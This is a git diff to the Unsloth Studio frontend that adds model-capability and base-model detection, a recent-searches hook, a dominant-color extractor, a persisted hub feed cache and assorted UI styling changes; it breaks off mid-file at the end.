diff --git a/studio/frontend/src/features/hub/lib/model-capabilities.ts b/studio/frontend/src/features/hub/lib/model-capabilities.ts
index bbfc2174df..033a3b6f1f 100644
--- a/studio/frontend/src/features/hub/lib/model-capabilities.ts
+++ b/studio/frontend/src/features/hub/lib/model-capabilities.ts
@@ -10,7 +10,8 @@ export type CapabilityKey =
   | "reasoning"
   | "code"
   | "embedding"
-  | "multilingual";
+  | "multilingual"
+  | "conversational";
 
 export interface Capability {
   key: CapabilityKey;
@@ -69,11 +70,63 @@ const CODE_TAGS = new Set([
   "programming",
 ]);
 
+const CONVERSATIONAL_TAGS = new Set([
+  "conversational",
+  "chat",
+  "chatbot",
+  "text-generation-inference",
+]);
+
+const CONVERSATIONAL_ID_RE = /(?:^|[-_/])conversational(?:[-_/]|$)/;
+
 const COMMON_LANGUAGE_TAGS = new Set([
-  "en", "fr", "de", "es", "it", "pt", "nl", "ru", "pl", "uk", "tr", "cs",
-  "sv", "no", "da", "fi", "el", "ro", "bg", "hu", "hr", "sr", "sl", "sk",
-  "zh", "ja", "ko", "ar", "he", "fa", "hi", "bn", "ta", "te", "th", "vi",
-  "id", "ms", "tl", "sw", "ur", "ca", "eu", "is", "lv", "lt", "et",
+  "en",
+  "fr",
+  "de",
+  "es",
+  "it",
+  "pt",
+  "nl",
+  "ru",
+  "pl",
+  "uk",
+  "tr",
+  "cs",
+  "sv",
+  "no",
+  "da",
+  "fi",
+  "el",
+  "ro",
+  "bg",
+  "hu",
+  "hr",
+  "sr",
+  "sl",
+  "sk",
+  "zh",
+  "ja",
+  "ko",
+  "ar",
+  "he",
+  "fa",
+  "hi",
+  "bn",
+  "ta",
+  "te",
+  "th",
+  "vi",
+  "id",
+  "ms",
+  "tl",
+  "sw",
+  "ur",
+  "ca",
+  "eu",
+  "is",
+  "lv",
+  "lt",
+  "et",
 ]);
 
 function lower(values: string[] | undefined): Set<string> {
@@ -133,6 +186,12 @@ export function detectCapabilities(
   ) {
     out.push({ key: "code", label: "Code" });
   }
+  if (
+    hasAny(CONVERSATIONAL_TAGS) ||
+    CONVERSATIONAL_ID_RE.test(lowerId)
+  ) {
+    out.push({ key: "conversational", label: "Conversational" });
+  }
   if (
     hasAny(EMBEDDING_TAGS) ||
     /embed|embedding|retriever|reranker|bge[-_]|e5[-_]|gte[-_]|colbert|sentence[-_]?transformer|sentence[-_]?similarity|jina[-_]?embeddings?|nomic[-_]?embed|arctic[-_]?embed|qwen3[-_]?embedding|qwen3[-_]?reranker|text[-_]?embedding/.test(
@@ -160,3 +219,27 @@ export function detectLicense(tags: string[] | undefined): string | null {
   const license = tags.find((t) => t.startsWith("license:"));
   return license ? license.slice("license:".length) : null;
 }
+
+export function detectBaseModel(tags: string[] | undefined): string | null {
+  if (!tags) {
+    return null;
+  }
+  let quantizedBaseModel: string | null = null;
+
+  for (const tag of tags) {
+    if (!tag.startsWith("base_model:")) {
+      continue;
+    }
+    const value = tag.slice("base_model:".length).trim();
+    if (!value) {
+      continue;
+    }
+    if (value.startsWith("quantized:")) {
+      quantizedBaseModel ??= value.slice("quantized:".length).trim() || null;
+      continue;
+    }
+    return value;
+  }
+
+  return quantizedBaseModel;
+}
diff --git a/studio/frontend/src/features/hub/lib/network.ts b/studio/frontend/src/features/hub/lib/network.ts
index 549af99fbc..48d165c92a 100644
--- a/studio/frontend/src/features/hub/lib/network.ts
+++ b/studio/frontend/src/features/hub/lib/network.ts
@@ -29,8 +29,8 @@ function emitNetworkStatusChange(): void {
 }
 
 export function getBrowserOfflineRetryDelayMs(): number {
-  // Keyed off the empirical remote-offline TTL, not navigator.onLine, so recovery
-  // doesn't stall on platforms where navigator.onLine is stuck false.
+  // Keyed off the empirical remote-offline TTL, not navigator.onLine, so
+  // recovery doesn't stall on platforms where navigator.onLine is stuck false.
   return Math.max(
     0,
     getRemoteOfflineUntil(HUGGING_FACE_REMOTE_ORIGINS) - Date.now(),
@@ -64,7 +64,8 @@ export function isRemoteNetworkOffline(
 export function isHuggingFaceOffline(): boolean {
   // navigator.onLine is advisory only (false-reports offline on WSL2 / some
   // WebKitGTK/Tauri webviews). The authoritative signal is the empirical
-  // remote-offline TTL, set when a real fetch fails and cleared on next success.
+  // remote-offline TTL, set when a real fetch fails and cleared on next success;
+  // navigator's online/offline events still drive re-evaluation.
   return isRemoteNetworkOffline(HUGGING_FACE_REMOTE_ORIGINS);
 }
 
diff --git a/studio/frontend/src/features/hub/lib/provider-logos.ts b/studio/frontend/src/features/hub/lib/provider-logos.ts
index d271351df3..9d1a94206b 100644
--- a/studio/frontend/src/features/hub/lib/provider-logos.ts
+++ b/studio/frontend/src/features/hub/lib/provider-logos.ts
@@ -3,12 +3,15 @@
 
 /**
  * Provider-logo registry for Unsloth re-uploads. Unsloth re-uploads upstream
- * models (e.g. unsloth/Qwen2.5-7B is Alibaba's Qwen); we render the upstream
- * provider's logo in place of the Unsloth profile picture.
+ * models (e.g. unsloth/Qwen2.5-7B is Alibaba's Qwen); we show the upstream
+ * provider's logo in place of the Unsloth picture (username stays "unsloth").
  *
- * Providers are evaluated in declaration order; a provider matches if any of its
- * `prefixes` is a prefix of the repo name (the part after "owner/"). Repo names
- * are case-sensitive — match the publisher's exact casing.
+ * Matching: providers are evaluated in declaration order; a provider matches if
+ * any of its `prefixes` is a prefix of the repo name (the part after "owner/").
+ * Most-specific providers MUST be declared first (first match wins): e.g.
+ * NVIDIA's Nemotron/Minitron/Mistral-NeMo before meta-llama/mistralai, and
+ * DeepSeek-R1-Distill- before Qwen/meta-llama. Repo names are case-sensitive -
+ * match the publisher's exact casing (e.g. `phi-` for v1/v2 vs `Phi-` for v3+).
  */
 
 /**
@@ -27,15 +30,19 @@ export type LogoBackground = "white" | "transparent";
 export type LogoFit = "contain" | "cover";
 
 export interface ProviderLogo {
+	/** Stable kebab-case identifier (debug/telemetry only). */
 	id: string;
+	/** Display name used as the avatar's accessible label. */
 	name: string;
+	/** Path to the logo under /public. */
 	logoPath: string;
 	treatment: LogoTreatment;
 	background: LogoBackground;
+	/** Only consulted when treatment is "original". Defaults to "contain". */
 	fit?: LogoFit;
 	/**
-	 * Repo-name prefixes (after `owner/`) mapping to this provider. A prefix
-	 * match suffices — variants (-Instruct, -bnb-4bit, -GGUF) ride along. Match
+	 * Repo-name prefixes (after `owner/`) that map to this provider. A prefix
+	 * match suffices - variants (-Instruct, -bnb-4bit, -GGUF) ride along. Match
 	 * on the family stem so future minor versions are picked up automatically.
 	 */
 	prefixes: readonly string[];
@@ -258,6 +265,7 @@ export function matchProviderLogo(repoName: string): ProviderLogo | null {
 // Owners whose avatars get swapped for the matched provider's logo.
 const RELABELED_OWNERS: ReadonlySet<string> = new Set(["unsloth"]);
 
+/** True if the owner's avatars get replaced with the upstream provider's logo. */
 export function isProviderRelabeledOwner(
 	owner: string | null | undefined,
 ): boolean {
diff --git a/studio/frontend/src/features/hub/lib/recent-searches.ts b/studio/frontend/src/features/hub/lib/recent-searches.ts
new file mode 100644
index 0000000000..f245032b61
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/recent-searches.ts
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useEffect, useState } from "react";
+
+// Persisted recent Hub search terms, newest first. Uses the localStorage +
+// same-tab CHANGE_EVENT + cross-tab `storage` pattern so consumers stay in sync.
+const STORAGE_KEY = "unsloth.hub.recentSearches";
+const CHANGE_EVENT = "unsloth:hub-recent-searches-change";
+
+export const MAX_RECENT_SEARCHES = 8;
+// Single characters are usually noise (a half-typed query), so skip them.
+const MIN_QUERY_LENGTH = 2;
+
+function readStored(): string[] {
+  if (typeof window === "undefined") {
+    return [];
+  }
+  try {
+    const raw = window.localStorage.getItem(STORAGE_KEY);
+    if (!raw) {
+      return [];
+    }
+    const parsed: unknown = JSON.parse(raw);
+    if (!Array.isArray(parsed)) {
+      return [];
+    }
+    return parsed
+      .filter((value): value is string => typeof value === "string")
+      .slice(0, MAX_RECENT_SEARCHES);
+  } catch {
+    return [];
+  }
+}
+
+function writeStored(list: string[]): void {
+  if (typeof window === "undefined") {
+    return;
+  }
+  try {
+    window.localStorage.setItem(STORAGE_KEY, JSON.stringify(list));
+  } catch {
+    return;
+  }
+  window.dispatchEvent(new Event(CHANGE_EVENT));
+}
+
+/**
+ * Record a searched term: trims, drops short queries, de-dupes case-insensitively
+ * (moving a match to the front), and caps at {@link MAX_RECENT_SEARCHES}.
+ */
+export function recordRecentSearch(query: string): void {
+  const trimmed = query.trim();
+  if (trimmed.length < MIN_QUERY_LENGTH) {
+    return;
+  }
+  const withoutDuplicate = readStored().filter(
+    (item) => item.toLowerCase() !== trimmed.toLowerCase(),
+  );
+  writeStored([trimmed, ...withoutDuplicate].slice(0, MAX_RECENT_SEARCHES));
+}
+
+export function removeRecentSearch(query: string): void {
+  const existing = readStored();
+  const next = existing.filter((item) => item !== query);
+  if (next.length !== existing.length) {
+    writeStored(next);
+  }
+}
+
+export function clearRecentSearches(): void {
+  if (readStored().length === 0) {
+    return;
+  }
+  writeStored([]);
+}
+
+export function useRecentSearches(): string[] {
+  const [list, setList] = useState<string[]>(readStored);
+
+  useEffect(() => {
+    const handleLocal = () => setList(readStored());
+    const handleStorage = (event: StorageEvent) => {
+      if (event.storageArea !== window.localStorage) {
+        return;
+      }
+      if (event.key !== null && event.key !== STORAGE_KEY) {
+        return;
+      }
+      setList(readStored());
+    };
+    window.addEventListener(CHANGE_EVENT, handleLocal);
+    window.addEventListener("storage", handleStorage);
+    return () => {
+      window.removeEventListener(CHANGE_EVENT, handleLocal);
+      window.removeEventListener("storage", handleStorage);
+    };
+  }, []);
+
+  return list;
+}
diff --git a/studio/frontend/src/features/hub/lib/selection-resolution.ts b/studio/frontend/src/features/hub/lib/selection-resolution.ts
index f3c4543448..642fb68f1d 100644
--- a/studio/frontend/src/features/hub/lib/selection-resolution.ts
+++ b/studio/frontend/src/features/hub/lib/selection-resolution.ts
@@ -124,22 +124,6 @@ export function resolveDownloadedSelection({
       filteredCachedIds,
       filteredLocalIds,
       localRows,
-    ) ??
-    resolveDownloadedId(
-      filteredCachedRows[0]?.id ?? null,
-      cachedById,
-      localById,
-      filteredCachedIds,
-      filteredLocalIds,
-      localRows,
-    ) ??
-    resolveDownloadedId(
-      filteredLocalRows[0]?.id ?? null,
-      cachedById,
-      localById,
-      filteredCachedIds,
-      filteredLocalIds,
-      localRows,
     ) ?? { selectedId: null, hiddenByFilters: false }
   );
 }
diff --git a/studio/frontend/src/features/hub/lib/unsloth-support.ts b/studio/frontend/src/features/hub/lib/unsloth-support.ts
index 45e913b2b9..966f381051 100644
--- a/studio/frontend/src/features/hub/lib/unsloth-support.ts
+++ b/studio/frontend/src/features/hub/lib/unsloth-support.ts
@@ -188,7 +188,14 @@ export function classifyUnslothSupport({
   const formatTags = excludedFormatTagsForDevice(deviceType);
   const normalizedQuant = normalizeQuantMethod(quantMethod);
 
-  if (normalizedQuant) {
+  // GGUF runs through llama.cpp regardless of the base model's quant config, so
+  // the HF quant_method must not disqualify a GGUF repo.
+  const isGguf =
+    lowerTags.has("gguf") ||
+    library === "gguf" ||
+    (modelId ? /(?:^|[-_.])gguf$/i.test(repoLeaf(modelId)) : false);
+
+  if (normalizedQuant && !isGguf) {
     if (SUPPORTED_QUANT_METHODS.has(normalizedQuant)) {
       return { status: "supported", reason: null };
     }
diff --git a/studio/frontend/src/features/hub/lib/use-dominant-color.ts b/studio/frontend/src/features/hub/lib/use-dominant-color.ts
new file mode 100644
index 0000000000..84f72653fb
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/use-dominant-color.ts
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useEffect, useState } from "react";
+
+const colorCache = new Map<string, string | null>();
+const inflight = new Map<string, Promise<string | null>>();
+
+function computeDominant(data: Uint8ClampedArray): string | null {
+  const buckets = new Map<
+    number,
+    { r: number; g: number; b: number; w: number }
+  >();
+  for (let i = 0; i < data.length; i += 4) {
+    if (data[i + 3] < 128) continue;
+    const r = data[i];
+    const g = data[i + 1];
+    const b = data[i + 2];
+    const max = Math.max(r, g, b);
+    const min = Math.min(r, g, b);
+    const light = (max + min) / 510;
+    const sat = max === 0 ? 0 : (max - min) / max;
+    if (light > 0.93 || light < 0.07) continue;
+    if (sat < 0.18) continue;
+    const key = ((r >> 5) << 6) | ((g >> 5) << 3) | (b >> 5);
+    const w = sat * (1 - Math.abs(light - 0.5));
+    const bucket = buckets.get(key);
+    if (bucket) {
+      bucket.r += r * w;
+      bucket.g += g * w;
+      bucket.b += b * w;
+      bucket.w += w;
+    } else {
+      buckets.set(key, { r: r * w, g: g * w, b: b * w, w });
+    }
+  }
+  let best: { r: number; g: number; b: number; w: number } | null = null;
+  for (const bucket of buckets.values()) {
+    if (!best || bucket.w > best.w) best = bucket;
+  }
+  if (!best || best.w < 2) return null;
+  return `rgb(${Math.round(best.r / best.w)}, ${Math.round(best.g / best.w)}, ${Math.round(best.b / best.w)})`;
+}
+
+function extractColor(url: string): Promise<string | null> {
+  return new Promise((resolve) => {
+    const img = new Image();
+    img.crossOrigin = "anonymous";
+    img.decoding = "async";
+    img.onload = () => {
+      try {
+        const size = 36;
+        const canvas = document.createElement("canvas");
+        canvas.width = size;
+        canvas.height = size;
+        const ctx = canvas.getContext("2d", { willReadFrequently: true });
+        if (!ctx) {
+          resolve(null);
+          return;
+        }
+        ctx.drawImage(img, 0, 0, size, size);
+        resolve(computeDominant(ctx.getImageData(0, 0, size, size).data));
+      } catch {
+        resolve(null);
+      }
+    };
+    img.onerror = () => resolve(null);
+    img.src = url;
+  });
+}
+
+export function useDominantColor(url: string | null): string | null {
+  const [color, setColor] = useState<string | null>(() =>
+    url ? (colorCache.get(url) ?? null) : null,
+  );
+  useEffect(() => {
+    if (!url) {
+      setColor(null);
+      return;
+    }
+    if (colorCache.has(url)) {
+      setColor(colorCache.get(url) ?? null);
+      return;
+    }
+    let alive = true;
+    let promise = inflight.get(url);
+    if (!promise) {
+      promise = extractColor(url);
+      inflight.set(url, promise);
+    }
+    void promise.then((next) => {
+      colorCache.set(url, next);
+      inflight.delete(url);
+      if (alive) setColor(next);
+    });
+    return () => {
+      alive = false;
+    };
+  }, [url]);
+  return color;
+}
diff --git a/studio/frontend/src/features/hub/lib/view-models.ts b/studio/frontend/src/features/hub/lib/view-models.ts
index 50f5b70d8e..9ee6c5de5d 100644
--- a/studio/frontend/src/features/hub/lib/view-models.ts
+++ b/studio/frontend/src/features/hub/lib/view-models.ts
@@ -13,15 +13,16 @@ import type {
   ModelFormatFilter,
 } from "../types";
 import {
+  detectBaseModel,
   detectCapabilities,
   type CapabilityKey,
 } from "./model-capabilities";
 import { ownerOf, repoOf } from "@/features/hub/lib/format";
 import { estimateSizeFromDtypes, isGgufLike } from "./hf-model-meta";
 export {
-  matchesFormat,
   detectResultFormat,
   isUnslothFinetunable,
+  matchesFormat,
 } from "./format-filters";
 export {
   formatLocalUpdated,
@@ -35,12 +36,9 @@ export const CAPABILITY_FILTER_OPTIONS: ReadonlyArray<{
 }> = [
   { value: "all", label: "All capabilities" },
   { value: "reasoning", label: "Reasoning" },
-  { value: "code", label: "Code" },
   { value: "vision", label: "Vision" },
   { value: "audio", label: "Audio" },
-  { value: "tools", label: "Tools" },
   { value: "embedding", label: "Embeddings" },
-  { value: "multilingual", label: "Multilingual" },
 ];
 
 export const FORMAT_FILTER_OPTIONS: ReadonlyArray<{
@@ -49,10 +47,44 @@ export const FORMAT_FILTER_OPTIONS: ReadonlyArray<{
 }> = [
   { value: "all", label: "All formats" },
   { value: "gguf", label: "GGUF" },
-  { value: "checkpoint", label: "Checkpoints" },
+  { value: "checkpoint", label: "Safetensors" },
   { value: "mlx", label: "MLX" },
 ];
 
+const BILLION = 1_000_000_000;
+
+export function formatParamCount(totalParams: number | undefined): string {
+  if (!totalParams || totalParams <= 0) return "N/A";
+  const billions = totalParams / BILLION;
+  if (billions >= 1) {
+    return `${billions >= 100 ? Math.round(billions) : Number(billions.toFixed(billions >= 10 ? 0 : 1))}B`;
+  }
+  const millions = totalParams / 1_000_000;
+  return `${Math.round(millions)}M`;
+}
+
+const PARAM_IN_ID_RE = /(\d+(?:\.\d+)?)\s*[bB](?=$|[^a-z0-9])/gi;
+
+export function paramLabelFromId(repo: string): string | null {
+  let bestLabel: string | null = null;
+  let bestValue = Number.NEGATIVE_INFINITY;
+  for (const match of repo.matchAll(PARAM_IN_ID_RE)) {
+    const value = Number.parseFloat(match[1]);
+    if (Number.isFinite(value) && value > bestValue) {
+      bestValue = value;
+      bestLabel = match[1];
+    }
+  }
+  return bestLabel ? `${bestLabel}B` : null;
+}
+
+export function formatModelParamLabel(
+  repo: string,
+  totalParams: number | undefined,
+): string {
+  return paramLabelFromId(repo) ?? formatParamCount(totalParams);
+}
+
 export function formatPipelineTag(tag: string | undefined): string | null {
   if (!tag) return null;
   return tag
@@ -71,7 +103,8 @@ export function buildSummary(result: HfModelResult): string {
   const parts: string[] = [];
   const pipeline = formatPipelineTag(result.pipelineTag);
   if (pipeline) parts.push(pipeline);
-  if (result.totalParams) parts.push(`${compactNumber(result.totalParams)} params`);
+  if (result.totalParams)
+    parts.push(`${compactNumber(result.totalParams)} params`);
   if (result.isGguf) {
     parts.push("GGUF");
   } else {
@@ -89,7 +122,9 @@ function compactNumber(value: number): string {
 }
 
 function finiteNumber(value: unknown): number | undefined {
-  return typeof value === "number" && Number.isFinite(value) ? value : undefined;
+  return typeof value === "number" && Number.isFinite(value)
+    ? value
+    : undefined;
 }
 
 export function toHfModelResult(raw: unknown): HfModelResult | null {
@@ -101,10 +136,14 @@ export function toHfModelResult(raw: unknown): HfModelResult | null {
     name?: string;
     downloads?: number;
     likes?: number;
+    private?: boolean;
+    gated?: false | "auto" | "manual";
     task?: string;
     pipeline_tag?: string;
     library_name?: string;
     updatedAt?: Date | string;
+    createdAt?: Date | string;
+    downloadsAllTime?: number;
     safetensors?: { total?: number; parameters?: Record<string, number> };
     gguf?: { total?: number; architecture?: string };
     tags?: string[];
@@ -122,18 +161,29 @@ export function toHfModelResult(raw: unknown): HfModelResult | null {
       : typeof model.updatedAt === "string"
         ? model.updatedAt
         : undefined;
+  const createdAt =
+    model.createdAt instanceof Date
+      ? model.createdAt.toISOString()
+      : typeof model.createdAt === "string"
+        ? model.createdAt
+        : undefined;
 
   return {
     id: model.name,
     downloads: finiteNumber(model.downloads) ?? 0,
     likes: finiteNumber(model.likes) ?? 0,
+    private: model.private,
+    gated: model.gated,
     totalParams:
       finiteNumber(model.safetensors?.total) ?? finiteNumber(model.gguf?.total),
     estimatedSizeBytes: estimateSizeFromDtypes(model.safetensors?.parameters),
     isGguf,
+    baseModel: detectBaseModel(model.tags),
     tags: model.tags,
     pipelineTag: model.task ?? model.pipeline_tag,
     updatedAt,
+    createdAt,
+    downloadsAllTime: finiteNumber(model.downloadsAllTime),
     libraryName: model.library_name,
     quantMethod: model.config?.quantization_config?.quant_method,
   };
diff --git a/studio/frontend/src/features/hub/stores/hf-token-store.ts b/studio/frontend/src/features/hub/stores/hf-token-store.ts
index c63aa82ad4..31a7f0a4da 100644
--- a/studio/frontend/src/features/hub/stores/hf-token-store.ts
+++ b/studio/frontend/src/features/hub/stores/hf-token-store.ts
@@ -33,7 +33,7 @@ function loadInitial(): string {
       const fromTraining = parsed?.state?.hfToken;
       if (typeof fromTraining === "string" && fromTraining.length > 0) {
         const normalized = normalize(fromTraining);
-        // Copy only: training-config-store still reads its own hfToken, so deleting it would drop that token.
+        // Copy only: training-config-store reads its own hfToken; deleting the legacy field drops it.
         persist(normalized);
         return normalized;
       }
diff --git a/studio/frontend/src/features/hub/stores/hub-feed-store.ts b/studio/frontend/src/features/hub/stores/hub-feed-store.ts
new file mode 100644
index 0000000000..9e7a103a04
--- /dev/null
+++ b/studio/frontend/src/features/hub/stores/hub-feed-store.ts
@@ -0,0 +1,149 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { createJSONStorage, persist } from "zustand/middleware";
+import type { HfModelResult } from "../hooks/use-hub-model-search";
+import { type ChannelId, findChannel } from "../lib/channels";
+import { createThrottledStorage, noopStorage } from "./persist-storage";
+
+export interface ChannelFeedEntry {
+  results: HfModelResult[];
+  fetchedAt: number;
+  tokenFingerprint: string;
+}
+
+export interface HubFeedState {
+  channels: Partial<Record<ChannelId, ChannelFeedEntry>>;
+  tokenFingerprint: string;
+  setChannelEntry: (
+    id: ChannelId,
+    results: HfModelResult[],
+    tokenFingerprint: string,
+  ) => void;
+  clearForToken: (tokenFingerprint: string) => void;
+}
+
+export const FEED_CACHE_CAP = 24;
+
+export const FEED_TTL_MS: Record<ChannelId, number> = {
+  "unsloth-trending": 30 * 60 * 1000,
+  "unsloth-latest": 5 * 60 * 1000,
+  "unsloth-safetensors": 30 * 60 * 1000,
+};
+
+const PERSIST_KEY = "unsloth.studio.hubFeed";
+const PERSIST_VERSION = 1;
+const PERSIST_THROTTLE_MS = 1_000;
+
+export function isChannelEntryFresh(
+  entry: ChannelFeedEntry | undefined,
+  id: ChannelId,
+  tokenFingerprint: string,
+  now: number = Date.now(),
+): boolean {
+  if (!entry) return false;
+  if (entry.tokenFingerprint !== tokenFingerprint) return false;
+  if (entry.results.length === 0) return false;
+  return now - entry.fetchedAt < FEED_TTL_MS[id];
+}
+
+export const selectChannelEntry =
+  (id: ChannelId) =>
+  (state: HubFeedState): ChannelFeedEntry | undefined =>
+    state.channels[id];
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return value !== null && typeof value === "object" && !Array.isArray(value);
+}
+
+function sanitizeEntry(value: unknown): ChannelFeedEntry | null {
+  if (!isRecord(value)) return null;
+  if (!Array.isArray(value.results)) return null;
+  if (
+    typeof value.fetchedAt !== "number" ||
+    !Number.isFinite(value.fetchedAt)
+  ) {
+    return null;
+  }
+  const tokenFingerprint =
+    typeof value.tokenFingerprint === "string"
+      ? value.tokenFingerprint
+      : "anon";
+  const results = value.results.filter(
+    (item): item is HfModelResult =>
+      isRecord(item) && typeof item.id === "string",
+  );
+  if (results.length === 0) return null;
+  return {
+    results: results.slice(0, FEED_CACHE_CAP),
+    fetchedAt: value.fetchedAt,
+    tokenFingerprint,
+  };
+}
+
+function sanitizeFeedState(persisted: unknown): Partial<HubFeedState> {
+  if (!isRecord(persisted) || !isRecord(persisted.channels)) {
+    return { channels: {}, tokenFingerprint: "anon" };
+  }
+  const channels: Partial<Record<ChannelId, ChannelFeedEntry>> = {};
+  for (const [key, value] of Object.entries(persisted.channels)) {
+    if (!findChannel(key as ChannelId)) continue;
+    const entry = sanitizeEntry(value);
+    if (entry) channels[key as ChannelId] = entry;
+  }
+  const tokenFingerprint =
+    typeof persisted.tokenFingerprint === "string"
+      ? persisted.tokenFingerprint
+      : "anon";
+  return { channels, tokenFingerprint };
+}
+
+export const useHubFeedStore = create<HubFeedState>()(
+  persist(
+    (set) => ({
+      channels: {},
+      tokenFingerprint: "anon",
+      setChannelEntry: (id, results, tokenFingerprint) =>
+        set((state) => {
+          const base =
+            state.tokenFingerprint === tokenFingerprint ? state.channels : {};
+          return {
+            tokenFingerprint,
+            channels: {
+              ...base,
+              [id]: {
+                results: results.slice(0, FEED_CACHE_CAP),
+                fetchedAt: Date.now(),
+                tokenFingerprint,
+              },
+            },
+          };
+        }),
+      clearForToken: (tokenFingerprint) =>
+        set((state) =>
+          state.tokenFingerprint === tokenFingerprint
+            ? state
+            : { tokenFingerprint, channels: {} },
+        ),
+    }),
+    {
+      name: PERSIST_KEY,
+      version: PERSIST_VERSION,
+      storage: createJSONStorage(() =>
+        typeof window === "undefined"
+          ? noopStorage
+          : createThrottledStorage(window.localStorage, PERSIST_THROTTLE_MS),
+      ),
+      migrate: (persisted) => sanitizeFeedState(persisted),
+      merge: (persisted, current) => ({
+        ...current,
+        ...sanitizeFeedState(persisted),
+      }),
+      partialize: (state) => ({
+        channels: state.channels,
+        tokenFingerprint: state.tokenFingerprint,
+      }),
+    },
+  ),
+);
diff --git a/studio/frontend/src/features/hub/stores/persist-storage.ts b/studio/frontend/src/features/hub/stores/persist-storage.ts
new file mode 100644
index 0000000000..177fd439b1
--- /dev/null
+++ b/studio/frontend/src/features/hub/stores/persist-storage.ts
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { StateStorage } from "zustand/middleware";
+
+export const noopStorage: StateStorage = {
+  getItem: () => null,
+  setItem: () => undefined,
+  removeItem: () => undefined,
+};
+
+export function createThrottledStorage(
+  base: StateStorage,
+  delayMs: number,
+): StateStorage {
+  let timer: ReturnType<typeof setTimeout> | null = null;
+  const pending = new Map<string, string>();
+  const flush = (): void => {
+    if (timer !== null) {
+      clearTimeout(timer);
+      timer = null;
+    }
+    for (const [name, value] of pending) {
+      base.setItem(name, value);
+    }
+    pending.clear();
+  };
+  if (typeof window !== "undefined") {
+    window.addEventListener("pagehide", flush);
+  }
+  return {
+    getItem: (name) => base.getItem(name),
+    setItem: (name, value) => {
+      pending.set(name, value);
+      if (timer === null) timer = setTimeout(flush, delayMs);
+    },
+    removeItem: (name) => {
+      pending.delete(name);
+      if (pending.size === 0 && timer !== null) {
+        clearTimeout(timer);
+        timer = null;
+      }
+      base.removeItem(name);
+    },
+  };
+}
diff --git a/studio/frontend/src/features/hub/types.ts b/studio/frontend/src/features/hub/types.ts
index bf5e2aafee..ae9ddf5d4b 100644
--- a/studio/frontend/src/features/hub/types.ts
+++ b/studio/frontend/src/features/hub/types.ts
@@ -86,12 +86,16 @@ export interface SelectedModelView {
   license: string | null;
   pipelineTag?: string;
   libraryName?: string;
+  gated?: false | "auto" | "manual";
+  private?: boolean;
   downloads?: number;
+  downloadsAllTime?: number;
   likes?: number;
   totalParams?: number;
   estimatedSizeBytes?: number;
   cachedBytes?: number;
   updatedAt?: string;
+  createdAt?: string;
   localUpdatedAt?: number | null;
   tags?: string[];
   quantMethod?: string;
diff --git a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
index 40040a43b8..4ec8395bcf 100644
--- a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
+++ b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
@@ -229,7 +229,7 @@ export function ProfilePersonalizationPanel() {
         <Label className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.avatarShape")}
         </Label>
-        <div className="inline-flex w-fit items-center gap-1 rounded-full border border-border/70 bg-muted/40 p-1">
+        <div className="hub-tab-toggle inline-flex h-8 w-fit items-center rounded-full">
           {(["circle", "rounded"] as const).map((shape) => (
             <button
               key={shape}
@@ -237,9 +237,9 @@ export function ProfilePersonalizationPanel() {
               onClick={() => setAvatarShape(shape)}
               aria-pressed={avatarShape === shape}
               className={cn(
-                "rounded-full px-4 py-1.5 text-xs font-medium transition-colors",
+                "inline-flex h-8 items-center rounded-full px-4 text-[13px] font-medium transition-colors",
                 avatarShape === shape
-                  ? "bg-background text-foreground shadow-sm"
+                  ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
               )}
             >
diff --git a/studio/frontend/src/features/settings/components/create-key-form.tsx b/studio/frontend/src/features/settings/components/create-key-form.tsx
index c375bc280c..e2ad23e59f 100644
--- a/studio/frontend/src/features/settings/components/create-key-form.tsx
+++ b/studio/frontend/src/features/settings/components/create-key-form.tsx
@@ -45,19 +45,16 @@ export function CreateKeyForm({
   };
 
   return (
-    <form
-      onSubmit={handleSubmit}
-      className="flex flex-col gap-2 rounded-lg border border-border bg-muted/20 p-3"
-    >
+    <form onSubmit={handleSubmit} className="flex flex-col gap-2">
       <div className="flex flex-wrap items-center gap-2">
         <Input
           value={name}
           onChange={(e) => setName(e.target.value)}
           placeholder={t("settings.apiKeys.tokenNamePlaceholder")}
-          className="h-8 min-w-[180px] flex-1 text-sm"
+          className="h-9 min-w-[200px] flex-1 text-sm"
           aria-label={t("settings.apiKeys.newAccessTokenName")}
         />
-        <div className="inline-flex items-center rounded-md border border-border bg-background p-0.5">
+        <div className="hub-tab-toggle inline-flex h-8 items-center rounded-full">
           {EXPIRY_PRESETS.map((p) => {
             const active = expiry === p.value;
             return (
@@ -67,9 +64,9 @@ export function CreateKeyForm({
                 onClick={() => setExpiry(p.value)}
                 aria-pressed={active}
                 className={cn(
-                  "rounded px-2 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                  "inline-flex h-8 items-center rounded-full px-3.5 text-[12px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                   active
-                    ? "bg-accent text-foreground"
+                    ? "hub-tab-toggle-pill text-foreground"
                     : "text-muted-foreground hover:text-foreground",
                 )}
               >
diff --git a/studio/frontend/src/features/settings/components/theme-segmented.tsx b/studio/frontend/src/features/settings/components/theme-segmented.tsx
index 36e7062d8f..4852d4bc90 100644
--- a/studio/frontend/src/features/settings/components/theme-segmented.tsx
+++ b/studio/frontend/src/features/settings/components/theme-segmented.tsx
@@ -27,7 +27,7 @@ export function ThemeSegmented() {
   const { theme, setTheme } = useTheme();
   const reduced = useReducedMotion();
   return (
